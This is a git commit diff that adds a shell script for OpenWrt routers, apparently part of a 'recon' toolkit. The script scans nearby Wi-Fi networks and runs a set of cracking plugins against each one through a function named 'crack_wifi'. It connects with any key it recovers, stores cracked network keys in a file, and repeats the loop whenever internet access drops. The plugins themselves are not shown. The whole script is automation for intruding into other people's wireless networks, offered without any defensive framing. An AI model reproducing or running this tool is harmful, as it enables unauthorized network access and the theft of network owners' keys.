diff options
author | makefu <github@syntax-fehler.de> | 2014-12-20 22:08:23 +0100 |
---|---|---|
committer | makefu <github@syntax-fehler.de> | 2014-12-20 22:08:33 +0100 |
commit | dbaee4aae713410b813f871bb8e8594a9d84f814 (patch) | |
tree | d2f5d37c6bad81f3e87c13628933e505c8237315 /recon/autowifi/usr/bin/autowifi_old | |
parent | 16e1373ddd9050dd06cd699b2874cf178375574b (diff) |
autowifi-merged files to recon/autowifi
Diffstat (limited to 'recon/autowifi/usr/bin/autowifi_old')
-rwxr-xr-x | recon/autowifi/usr/bin/autowifi_old | 65 |
1 files changed, 65 insertions, 0 deletions
diff --git a/recon/autowifi/usr/bin/autowifi_old b/recon/autowifi/usr/bin/autowifi_old new file mode 100755 index 00000000..55eaefcd --- /dev/null +++ b/recon/autowifi/usr/bin/autowifi_old @@ -0,0 +1,65 @@ +#!/bin/sh -x +# States (LED): +# Blinking - running wifi plugins +# Turned off - connected to wifi +# Turned on - waiting for next scan round + +wifi=wlan0 +iface=@wifi-iface[0] +radio=$(uci get wireless.${iface}.device) + +# for connect_wifi +. /usr/lib/autowifi/lib/openwrt + +# for iwlist_scan +. /usr/lib/autowifi/lib/iwlist + +# for check_internet and check_gateway +. /usr/lib/autowifi/lib/network + +crack_wifi(){ + #SSID MAC CHANNEL ENCRYPTION WPA WPA2 + all_led timer + if [ "$4" == off ];then + encr=open + elif [ "$6" -eq 1 ]; then + encr=psk2 + elif [ "$5" -eq 1 ]; then + encr=psk + elif [ "$4" == on ]; then + encr=wep + fi + for hack in $(find /usr/lib/autowifi/plugins -type f); do + key=$($hack "$@"); + ret=$? + if [ $ret -eq 0 ];then + connect_wifi "$3" "$1" $encr "$key" + sleep 20 + if check_gateway; then + (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2 + mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys + echo "yay gateway" + check_internet && all_led none && return 0 + fi + fi + done + return 1 +} +loop_over_networks(){ + . /tmp/${wifi}.scan + for i in `seq 1 $WIFI_COUNT`; do + eval grep -q \${MAC_${i}} /etc/autowifi/blacklist && continue + eval crack_wifi \"\${ESSID_${i}}\" \"\${MAC_${i}}\" \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} && break + done +} + +iwlist_scan > /tmp/${wifi}.scan +loop_over_networks + +while sleep 60; do + if ! check_internet; then + all_led on + iwlist_scan > /tmp/${wifi}.scan + loop_over_networks + fi +done |